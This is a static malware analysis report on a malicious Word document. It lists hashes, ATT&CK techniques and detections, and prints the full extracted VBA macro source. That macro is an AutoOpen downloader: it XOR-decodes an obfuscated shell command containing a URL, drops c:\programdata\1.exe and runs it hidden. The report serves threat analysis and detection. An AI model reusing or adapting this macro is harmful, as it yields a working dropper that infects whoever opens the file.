Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e67aa7a4192ca035…

MALICIOUS

Office (OOXML)

103.6 KB Created: 2020-07-30 07:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: b3b0dffa00f1a93dd4f4069d87f43dd3 SHA-1: 756fe15d649645f5d9c3ef60dcd6d6ba5384633e SHA-256: e67aa7a4192ca035c6c52a6afaf1b03058b9baa6fde616db3dad9d8d3d4c24cc
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1036 Masquerading T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen subroutine. This macro decodes a string to construct a path to a second-stage executable and uses the CopyFile API to copy an embedded resource (likely the executable) to that path. It then executes the copied file using WshShell.run. The decoded string for the executable path is 'c:\programdata\1.exe'. The presence of an AutoOpen macro and the execution of a second-stage payload are strong indicators of a downloader malware.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builder\rels\dirpack1\us.jpg
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1586 bytes
SHA-256: 600b6129023a45cd24a8ed665034cebb10855d0b0c3fecb5d883dc618ee090ca
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c"
#If VBA7 Then
Private Declare PtrSafe Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As LongPtr) As LongPtr
#Else
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
#End If
Function HH()
HH = "c:\programdata\1.exe"
End Function
Sub autoopen()
xA = mM("24!22!31!91!84!24!91!89!8!30!15!91!14!70!14!9!23!93!93!24!26!23!23!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!30!3!30!91!84!94!14!94!37!24!37!26!37!24!37!19!37!30!37!91!84!29!37!91!19!15!15!11!65!84!84!25!20!29!1!13!26!3!29!77!85!24!20!22!84!25!20!23!25!84!17!26!30!21!15!85!11!19!11!68!23!70!23!18!14!15!74!85!24!26!25!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!91!93!93!91!24!26!23!23!91!9!30!28!8!13!9!72!73!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!89")
Call CopyFile(ActiveDocument.Shapes(1).Title, HH, 1)
Dim G As New WshShell
Call G.run(xA, 0)

End Sub

Attribute VB_Name = "w"
Function mM(RE)
QU = Split(RE, "!")
For eu = 0 To UBound(QU)
 go = go & Chr(QU(eu) Xor 123)
Next eu
mM = go
End Function
Function n8()
n8 = "util"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: b9f70b630944374ccda6f0abded1c021ba278b2525939cbd1b9982b2c6166a9d